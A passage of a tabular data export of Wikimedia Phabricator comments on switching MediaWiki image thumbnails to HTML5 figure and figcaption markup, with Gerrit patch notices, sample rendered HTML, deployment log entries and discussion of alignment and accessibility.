As well and most importantly and I think a blocker: printing in Vector is not aligning correctly. ",,,1627999455,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,422,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,18.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,4.03030303030303,0.8484848484848485,"Also the following features broken alignment:
- URL
- URL

As well and most importantly and I think a blocker: printing in Vector is not aligning correctly. "
1762106,Use figure and figcaption HTML5 elements when possible,"Also the following features broken alignment:
- https://test.wikipedia.org/wiki/Rusa_test_page_2?useskin=timeless
- https://test.wikipedia.org/wiki/Rusa_test_page_2?useskin=modern

As well and most importantly, printing in Vector is not aligning correctly. ",,,1627999353,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,422,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.142857142857143,0.8928571428571429,"Also the following features broken alignment:
- URL
- URL

As well and most importantly, printing in Vector is not aligning correctly. "
1762102,Use figure and figcaption HTML5 elements when possible,"I've noticed an important different between the two formats and it relates to where the emitted class is located. Before this class was applied directly to the img object, but now it seems this is on the wrapping class. While this is probably a rare use case, it's an important change and I know at least some image headers on mediawiki.org etc which likely will have to be adapted to take this into account.
```
[[File:Onion diagram.svg|thumb|right|300px|In this example onion, we test image placement.|class=djtest]]
```
```
<figure class=""mw-halign-right djtest"" typeof=""mw:Image/Thumb""><a href=""/wiki/File:Onion_diagram.svg"" title=""""><img alt="""" src=""//upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/300px-Onion_diagram.svg.png"" decoding=""async"" width=""300"" height=""197"" srcset=""//upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/450px-Onion_diagram.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/600px-Onion_diagram.svg.png 2x"" data-file-width=""875"" data-file-height=""575""></a><figcaption>In this example onion, we test image placement.</figcaption></figure>
```

```
<div class=""thumb tright""><div class=""thumbinner"" style=""width:302px;""><a href=""/wiki/File:Onion_diagram.svg"" class=""image"" title=""""><img alt="""" src=""//upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/300px-Onion_diagram.svg.png"" decoding=""async"" width=""300"" height=""197"" class=""djtest thumbimage"" srcset=""//upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/450px-Onion_diagram.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/600px-Onion_diagram.svg.png 2x"" data-file-width=""875"" data-file-height=""575""></a>  <div class=""thumbcaption""><div class=""magnify""><a href=""/wiki/File:Onion_diagram.svg"" class=""internal"" title=""Enlarge""></a></div>In this example onion, we test image placement.</div></div></div>
```",,,1627999209,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,422,,1.0,0.0,0.0,3.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,6.0,13.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,2.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,6.0,2.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,3.0,0.0,0.0,0.0,1.0,2.0,4.183908045977011,0.7011494252873564,"I've noticed an important different between the two formats and it relates to where the emitted class is located. Before this class was applied directly to the img object, but now it seems this is on the wrapping class. While this is probably a rare use case, it's an important change and I know at least some image headers on mediawiki.org etc which likely will have to be adapted to take this into account.
``CODE`CODE`CODE`CODE`CODE``"
1746248,Use figure and figcaption HTML5 elements when possible,"With the train going out to [[ https://wikitech.wikimedia.org/wiki/Deployments/Train#Group_0 | group 0 ]] today, we can look at two wikis which should be configured differently based on T51097#7182465,

I verified that this is indeed running on testwiki.  For example, after an `?action=purge` on https://test.wikipedia.org/wiki/Rusa_test_page_2 I see,

```
<figure class=""mw-halign-right"" typeof=""mw:Image/Thumb""><a href=""/wiki/File:Onion_diagram.svg""><img alt="""" src=""//upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/300px-Onion_diagram.svg.png"" decoding=""async"" width=""300"" height=""197"" srcset=""//upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/450px-Onion_diagram.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Onion_diagram.svg/600px-Onion_diagram.svg.png 2x"" data-file-width=""875"" data-file-height=""575""></a><figcaption>In this example onion, we test image placement.</figcaption></figure>
```

However, on mediawikiwiki, after similarly purging we get on https://www.mediawiki.org/wiki/Parsoid

```
<div class=""thumb tright""><div class=""thumbinner"" style=""width:514px;""><a href=""/wiki/File:Parsoid_HTML-RDFa_content_model.svg"" class=""image""><img alt="""" src=""//upload.wikimedia.org/wikipedia/commons/thumb/2/2e/Parsoid_HTML-RDFa_content_model.svg/512px-Parsoid_HTML-RDFa_content_model.svg.png"" decoding=""async"" width=""512"" height=""362"" class=""thumbimage"" data-file-width=""512"" data-file-height=""362""></a>  <div class=""thumbcaption"">Artist's impression of the Parsoid HTML5 + RDFa wiki runtime</div></div></div>
```",,,1625002036,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,417,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,17.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,15.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,17.0,3.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,2.0,3.5833333333333335,0.7833333333333333,"With the train going out to [[ URL | group 0 ]] today, we can look at two wikis which should be configured differently based on T51097#7182465,

I verified that this is indeed running on testwiki.  For example, after an CODE on URL I see,

``CODE`CODE`CODE``"
1745581,Use figure and figcaption HTML5 elements when possible,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://sal.toolforge.org/log/MmnfVHoB1jz_IcWuBfm2} [2021-06-28T23:05:39Z] <urbanecm@deploy1002> Synchronized wmf-config/InitialiseSettings.php: 5ec855d14b31a9392274c2bfe2e21e2ad44986bc: Enable Parsoid inspired media structure on test wikis (T51097) (duration: 00m 59s)",,,1624921541,,PHID-USER-j4uyesgqhubl2dywl4xd,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,417,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.586206896551724,0.7931034482758621,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2021-06-28T23:05:39Z] <urbanecm@deploy1002> Synchronized wmf-config/InitialiseSettings.php: 5ec855d14b31a9392274c2bfe2e21e2ad44986bc: Enable Parsoid inspired media structure on test wikis (T51097) (duration: 00m 59s)"
1745579,Use figure and figcaption HTML5 elements when possible,"Change 701612 **merged** by jenkins-bot:
%%%[operations/mediawiki-config@master] Enable Parsoid inspired media structure on test wikis%%%
https://gerrit.wikimedia.org/r/701612",,,1624921358,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,417,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.121212121212121,0.7878787878787878,"Change 701612 **merged** by jenkins-bot:
%%%[operations/mediawiki-config@master] Enable Parsoid inspired media structure on test wikis%%%
GERRIT_URL"
1744676,Use figure and figcaption HTML5 elements when possible,"Change 701612 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[operations/mediawiki-config@master] Disable legacy media structure on test wikis%%%
https://gerrit.wikimedia.org/r/701612",,,1624655511,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,416,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,4.388888888888889,0.8888888888888888,"Change 701612 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[operations/mediawiki-config@master] Disable legacy media structure on test wikis%%%
GERRIT_URL"
1744273,Use figure and figcaption HTML5 elements when possible,"Change 507512 **merged** by jenkins-bot:
%%%[mediawiki/core@master] Emit media structure as piloted in Parsoid%%%
https://gerrit.wikimedia.org/r/507512",,,1624580053,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,416,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.7666666666666666,0.8,"Change 507512 **merged** by jenkins-bot:
%%%[mediawiki/core@master] Emit media structure as piloted in Parsoid%%%
GERRIT_URL"
1744157,Use figure and figcaption HTML5 elements when possible,"Change 701449 **merged** by jenkins-bot:
%%%[mediawiki/core@master] Add <figure> to the never suppressing group in BlockLevelPass%%%
https://gerrit.wikimedia.org/r/701449",,,1624563463,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,416,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,9.0,3.0,0.0,3.0,12.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,15.0,3.823529411764706,0.8235294117647058,"Change 701449 **merged** by jenkins-bot:
%%%[mediawiki/core@master] Add <figure> to the never suppressing group in BlockLevelPass%%%
GERRIT_URL"
1744139,Use figure and figcaption HTML5 elements when possible,"Change 701449 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[mediawiki/core@master] Add <figure> to the never suppressing group in BlockLevelPass%%%
https://gerrit.wikimedia.org/r/701449",,,1624562043,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,416,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,8.0,3.0,0.0,3.0,11.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,13.0,4.2105263157894735,0.8947368421052632,"Change 701449 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[mediawiki/core@master] Add <figure> to the never suppressing group in BlockLevelPass%%%
GERRIT_URL"
1696981,Use figure and figcaption HTML5 elements when possible,https://gerrit.wikimedia.org/r/c/507512 is the only open patch remaining.,,,1617354427,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,404,,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.875,1.0,URL is the only open patch remaining.
1645454,Use figure and figcaption HTML5 elements when possible,"Change 647318 **abandoned** by Arlolra:
[mediawiki/core@master] Update tests for $wgParserOutputLegacyMediaDOM

Reason:
These are now in I978187f9f6e9e0a105521ab3e26821e36a96b911

https://gerrit.wikimedia.org/r/647318",,,1610568452,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,393,,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,22.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,12.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.5625,0.8125,"Change 647318 **abandoned** by Arlolra:
[mediawiki/core@master] Update tests for $wgParserOutputLegacyMediaDOM

Reason:
These are now in I978187f9f6e9e0a105521ab3e26821e36a96b911

GERRIT_URL"
1635100,Use figure and figcaption HTML5 elements when possible,"Change 647318 had a related patch set uploaded (by Arlolra; owner: Arlolra):
[mediawiki/core@master] Update tests for $wgUseNewMediaStructure

https://gerrit.wikimedia.org/r/647318",,,1608245687,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,389,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.758620689655173,0.9655172413793104,"Change 647318 had a related patch set uploaded (by Arlolra; owner: Arlolra):
[mediawiki/core@master] Update tests for $wgUseNewMediaStructure

GERRIT_URL"
1633208,Use figure and figcaption HTML5 elements when possible,"> But @Arlolra seems to have found the exception to that rule which we've all forgotten; I await with bated breath.

My confusion was that `mw:Image(/Frameless)` aren't always inline, for example if they have explicit options like `|right`.  In which case, we'd emit a figure but hide the caption to match the output from the legacy parser.",,,1608047326,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,16.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,11.0,4.0,2.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,16.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8444444444444446,0.8888888888888888,"QUOTE

My confusion was that CODE aren't always inline, for example if they have explicit options like CODE.  In which case, we'd emit a figure but hide the caption to match the output from the legacy parser."
1633202,Use figure and figcaption HTML5 elements when possible,"From an accessibility standpoint, there may be reasons to emit a descriptive `<figcaption>` even if it is not visible to a sighted user.

That said, my understanding was that we couldn't actually do that because the figcaption could contain (eg) `<p>` tags that would break rendering in an inline context (where captions are normally hidden) and so we don't/can't actually emit the figcaption unless it is visible.  But @Arlolra seems to have found the exception to that rule which we've all forgotten; I await with bated breath.

And (at the risk of continuing @ssastry's drift off-topic), in addition to fragmentation issues, improving the functionality of client-side gadgets is one reason to avoid unnecessary read-view transformations. (Ultimately, fast editing is also benefited if VE can operate with the rendered content instead of having to reload content at editor startup.  The idea is that VE only needs to load the (fairly small) data-mw associated w/ the region being edited at startup.)",,,1608046662,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,0.5,0.0,0.0,1.5,1.0,4.5,2.0,0.5,0.0,1.5,1.5,2.0,0.0,0.5,0.5,2.5,0.5,7.0,13.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.5,0.5,5.0,2.5,1.0,0.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,4.5,0.0,0.5,0.0,0.5,0.0,16.0,0.5,2.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.5,1.0,2.0,0.0,0.0,0.5,0.5,0.5,6.5,4.5,5.5,3.5,1.0,8.5,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,3.5,13.0,2.5,0.0,0.0,0.0,3.5,0.0,1.5,2.0,0.0,1.0,0.0,0.0,0.0,4.285714285714286,0.7295918367346939,"From an accessibility standpoint, there may be reasons to emit a descriptive CODE even if it is not visible to a sighted user.

That said, my understanding was that we couldn't actually do that because the figcaption could contain (eg) CODE tags that would break rendering in an inline context (where captions are normally hidden) and so we don't/can't actually emit the figcaption unless it is visible.  ButSCREEN_NAME seems to have found the exception to that rule which we've all forgotten; I await with bated breath.

And (at the risk of continuingSCREEN_NAME's drift off-topic), in addition to fragmentation issues, improving the functionality of client-side gadgets is one reason to avoid unnecessary read-view transformations. (Ultimately, fast editing is also benefited if VE can operate with the rendered content instead of having to reload content at editor startup.  The idea is that VE only needs to load the (fairly small) data-mw associated w/ the region being edited at startup.)"
1633196,Use figure and figcaption HTML5 elements when possible,"From an accessibility standpoint, there may be reasons to emit a descriptive `<figcaption>` even if it is not visible to a sighted user.

That said, my understanding was that we couldn't actually do that because the figcaption could contain (eg) `<p>` tags that would break rendering in an inline context (where captions are normally hidden) and so we don't/can't actually emit the figcaption unless it is visible.  But @Arlolra seems to have found the exception to that rule which we've all forgotten; I await with bated breath.",,,1608046292,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,1.0,0.0,0.0,1.0,1.0,4.5,2.0,0.5,0.0,1.5,1.0,3.5,0.0,0.0,0.5,4.0,0.5,7.0,8.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,5.5,3.0,1.5,0.5,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.5,0.0,8.0,0.5,2.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.5,2.5,0.0,0.0,1.0,0.5,1.0,5.0,3.5,4.0,3.5,1.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,5.5,8.0,1.5,0.0,0.0,0.0,5.5,0.0,2.5,2.5,0.0,0.0,0.0,0.0,0.0,4.2745098039215685,0.892156862745098,"From an accessibility standpoint, there may be reasons to emit a descriptive CODE even if it is not visible to a sighted user.

That said, my understanding was that we couldn't actually do that because the figcaption could contain (eg) CODE tags that would break rendering in an inline context (where captions are normally hidden) and so we don't/can't actually emit the figcaption unless it is visible.  ButSCREEN_NAME seems to have found the exception to that rule which we've all forgotten; I await with bated breath."
1633179,Use figure and figcaption HTML5 elements when possible,">>! In T51097#6690931, @Arlolra wrote:
> I said this because I think the place where the stylesheet is saying to hide the figcaption is misleading.  Those are inline images where it isn't even emitted and the content is placed in the data-mw.

Whoops, that's not true at all

>>! In T51097#6690934, @ssastry wrote:
> Are you saying I wasted my time there? :-) I should have stuck to my netflix movie instead of trying to check mail late in the evening.

Only in so much as you wouldn't have goaded me into making blankly false statements",,,1608045476,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,6.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,3.0,0.0,21.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,12.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.696969696969697,0.8181818181818182,"QUOTE
QUOTE

Whoops, that's not true at all

QUOTE
QUOTE

Only in so much as you wouldn't have goaded me into making blankly false statements"
1632855,Use figure and figcaption HTML5 elements when possible,">>! In T51097#6690931, @Arlolra wrote:
> ... but just cautioning about using specific examples.

Are you saying I wasted my time there? :-) I should have stuck to my netflix movie instead of trying to check mail late in the evening.",,,1608002858,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,9.0,12.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,15.0,12.0,0.0,3.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.696969696969697,0.8787878787878788,"QUOTE
QUOTE

Are you saying I wasted my time there? :-) I should have stuck to my netflix movie instead of trying to check mail late in the evening."
1632853,Use figure and figcaption HTML5 elements when possible,"> I think we should file individual tasks for these things so they can be researched more thoroughly.

I said this because I think the place where the stylesheet is saying to hide the figcaption is misleading.  Those are inline images where it isn't even emitted and the content is placed in the data-mw.  I'll submit a patch to delete it but just cautioning about using specific 